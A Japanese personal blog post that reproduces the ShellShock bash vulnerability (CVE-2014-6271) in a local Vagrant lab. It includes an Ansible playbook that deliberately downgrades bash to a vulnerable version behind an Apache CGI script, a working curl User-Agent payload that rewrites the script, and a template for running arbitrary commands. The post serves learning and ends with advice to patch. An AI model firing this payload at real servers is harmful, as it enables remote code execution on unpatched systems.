ヤマザキの地球偵察記録

ヤマザキさんの個人的な記録・備忘録です。

【CVE-2014-6271】ShellShockを試してみる

ShellShockはネットワーク越しに送信したコードのリモート実行を許可してしまう脆弱性。 CentOS6の場合はbashのバージョンが4.1.2-15.el6より古いとShellShockを起こされるらしい。

というわけで、ShellShockを起こしてみよう。

仮想マシンの準備

以下の記事で仮想マシンの設定を行っている。 手順通りに構築しよう。

仮想マシンの起動

まずは仮想マシンの起動から。 vulvm01のみ起動する。

$ vagrant up vulvm01

仮想マシンの状態保存

vagrantプラグイン"sahara"を使って状態を管理する。 以下のコマンドを実行するとOSの状態が記憶されて、ロールバックできたりする。

$ vagrant sandbox on vulvm01

Ansible

AnsibleのPlaybook作成

AnsibleでShellShockを起こす環境を作る。 ちなみにyumをAnsibleのyumモジュールを使わずにshellモジュールで実行しているのは、yum downgradeyumモジュールで実現出来なかったから。

$ emacs ~/vulvm/provisioning/CVE-2014-6271_shellshock.yaml

# Playbook
---
- hosts: test1
  become: yes
  user: vagrant
  tasks:
    - name: Apacheをインストール
      yum: name=httpd state=latest
    
    - name: httpd.confにcgiを実行するオプションを追記
      blockinfile:
          dest: /etc/httpd/conf/httpd.conf
          insertafter: "^<Directory \"/var/www/cgi-bin\">"
          content: |
              Options +ExecCGI
              AddHandler cgi-script .cgi

    - name: cgiテストファイルを作成
      copy:
          dest: /var/www/cgi-bin/script.cgi
          mode: 0755
          content: |
              #!/bin/bash
              echo "Content-type: text/plain"
              echo
              echo "This is a test script."

    - name: /var/www以下のファイルオーナーを変更
      file: path=/var/www state=directory recurse=yes owner=apache group=apache

    - name: httpdサーバを起動
      service: name=httpd enabled=yes state=started

    - name: bashのバージョンをbash-4.1.2-14.el6にダウングレード
      shell: yum downgrade -y http://vault.centos.org/6.4/os/x86_64/Packages/bash-4.1.2-14.el6.x86_64.rpm

Playbookの内容を反映

以下のコマンドを実行してPlaybookの内容を仮想マシンに反映させる。

$ ansible-playbook -i inventory/hosts provisioning/CVE-2014-6271_shellshock.yaml

ここまででShellShock脆弱性環境が出来ているはず。

実験

攻撃前に確認

ブラウザで以下のURLにアクセスする。

すると画面に以下のメッセージが出力される。

This is a test script.

これは正常な状態である。

攻撃開始

先ほどアクセスしたページに対応するファイルの書き換えを行ってみる。 以下のコマンドを実行する。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/echo 'echo "ShellShock"' >> /var/www/cgi-bin/script.cgi" http://192.168.32.101/cgi-bin/script.cgi

ここで、先程のURLにアクセスすると…

This is a test script.
ShellShock

cgiファイルが書き換えられたことにより、出力される値が変わっているのが分かる。

以下の形式で色々なコマンドを発行できるらしい。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;[任意のコマンド]" http://192.168.32.101/cgi-bin/script.cgi

こういうコマンドを駆使してページを書き換えてXSSCSRFとか起こすんだろうな。 今回はさすがにそこまではしないけど。

お片付け

攻撃し終えたら仮想マシンを初期の状態に戻そう。

$ vagrant sandbox rollback vulvm01

[vulvm01] Rolling back the virtual machine...
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

これで状態を戻せたはずだ。

感想

ShellShockの仕組み自体は細かく見てないから分からないけど、やり方さえ分かれば簡単に使いこなせそう。 今のbashはバージョンがあがって対策がされてるからShellShockは通用しないけど、世の中のサーバには未だにパッチを充ててないのとかもあるわけで。 ちゃんと対策はしましょうね。

参考